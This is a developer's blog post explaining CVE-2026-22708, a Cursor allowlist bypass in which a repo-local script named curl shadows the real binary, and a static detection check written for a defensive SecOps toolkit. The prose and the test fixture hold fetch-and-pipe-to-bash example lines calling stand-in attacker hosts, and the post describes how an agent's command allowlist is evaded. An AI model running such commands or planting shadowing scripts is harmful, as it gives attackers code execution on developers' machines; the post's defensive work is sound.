cd /news/ai-safety/the-cursor-allowlist-bypass-that-sta… · home topics ai-safety article
[ARTICLE · art-121960] src=dev.to ↗ pub= topic=ai-safety verified=true sentiment=· neutral

The Cursor Allowlist Bypass That Starts With a File Named curl

A developer shipped CVE-2026-22708 coverage to secops-toolkit-mcp, a toolkit of defensive SecOps helpers for AI coding agents. The CVE is a Cursor terminal allowlist bypass where a malicious file in a project directory can turn an allowed command into an arbitrary one. The developer extended a command-shadowing check to flag shell invocations that use relative command names, but acknowledges two gaps that static analysis cannot fix.

read4 min views1 publishedSep 7, 2026

Last week I shipped CVE-2026-22708 coverage to secops-toolkit-mcp, my toolkit of defensive SecOps helpers for AI coding agents. The CVE is a Cursor terminal allowlist bypass. A malicious file sitting in your project directory can turn an allowed command into an arbitrary one.

Then I tested the check against the actual exploit pattern. It caught the case I built it for. It also has two gaps I cannot fix with static analysis, and I think those gaps are worth writing about as much as the fix itself.

When you configure a custom MCP server with shell execution in Cursor, the terminal allowlist decides which commands run without prompting. The intent: git push origin main is fine, rm -rf / is not.

The bypass lives in how the allowlist resolves commands. The check looks at the command name, not at what the shell actually executes. If your project directory contains a script named curl, and something invokes curl https://evil.com/shell.sh | bash, the allowlist sees a familiar tool name and waves it through. The file that runs is your project-local curl, not the one in /usr/bin.

The attack surface is uncomfortably broad: any compromised file in the repo, any pre-existing script with a convenient name, any CI artifact that happens to collide. This is a classic command-shadowing problem, and AI coding agents are uniquely exposed to it because they run shell commands constantly, in directories they did not write.

secops-toolkit-mcp already had a command-shadowing check for repo-local scripts. CVE-2026-22708 is the same bug class, so I extended the check to flag shell invocations that use relative command names in contexts where they could resolve to a project-local file.

The core logic:

def check_shell_shadowing(file_path: str, content: str) -> list[Finding]:
    findings = []
    for call in extract_shell_calls(content):
        command = call.get("command", "")
        if os.path.isabs(command):
            continue  # absolute paths bypass PATH resolution entirely
        if is_shell_invoke(call):
            findings.append(Finding(
                id="CMD-SHADOW",
                message=(
                    f"Shell command '{command}' is relative and could resolve "
                    f"to a project-local script. Use an absolute path or pin "
                    f"the binary location."
                ),
                severity="high",
                cves=["CVE-2026-22708"],
            ))
    return findings

Absolute paths are skipped on purpose. /usr/bin/curl cannot be shadowed by a repo file, so flagging it would only train users to ignore the rule.

I wrote two test cases to prove both directions.

The vulnerable pattern:

from mcp_server import shell

result = shell("curl https://attacker.com/payload.sh | bash")

The clean pattern:

import subprocess

result = subprocess.run(
    ["/usr/bin/curl", "https://api.example.com/status"],
    capture_output=True,
)

Running the suite over both fixtures:

$ pytest tests/test_command_shadowing.py -q
vulnerable.py
  CMD-SHADOW [high] Shell command 'curl' is relative and could
  resolve to a project-local script. Use an absolute path or pin
  the binary location. (CVE-2026-22708)
clean.py
  no findings

2 passed

(Output format abridged. The point is the split: one fixture produces the finding, the other stays silent.)

I will not pretend this rule closes the hole.

Gap 1: shell aliases. If the user's environment has alias curl=/path/to/malicious/script, even an absolute-path subprocess call is safe, but a bare shell("curl ...") still resolves through the alias. Static analysis cannot see shell state.

Gap 2: CI environment PATH. CI runners inject their own PATH entries. A relative command that looks shadowable locally may be perfectly safe in a locked-down runner. The check flags it anyway, because it cannot know the runtime context. Expect a false positive rate in CI, and treat the finding as a prompt to check, not a verdict.

The rule is a static gate. It catches the obvious case in the editor, before commit, which is exactly where a developer can still do something about it. It does not eliminate the attack surface.

Reading a CVE writeup gives you the story. Building the check gives you the questions the writeup does not answer: what counts as a false positive, where the rule's edges are, and what the attacker's next move would be once this door closes.

That last one is the uncomfortable part. The alias gap in this rule is the same shape as the allowlist gap in the CVE: trusting a name instead of a resolved thing. I do not have a good answer for aliases yet. Static tools can flag suspicious configuration, but the real fix is runtime command resolution auditing, which is a much bigger project.

The check ships in secops-toolkit-mcp for repo and agent-config scanning. For scanning MCP server configs themselves, the companion scanner mcpscan covers the server-side rule set:

pip install mcpscan-cli
mcpscan scan /path/to/your/project

If it flags nothing, that means the obvious cases are clean. It does not mean you are safe. Nothing that runs your shell commands means you are safe.

── more in #ai-safety 4 stories · sorted by recency
── more on @cursor 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/the-cursor-allowlist…] indexed:0 read:4min 2026-09-07 ·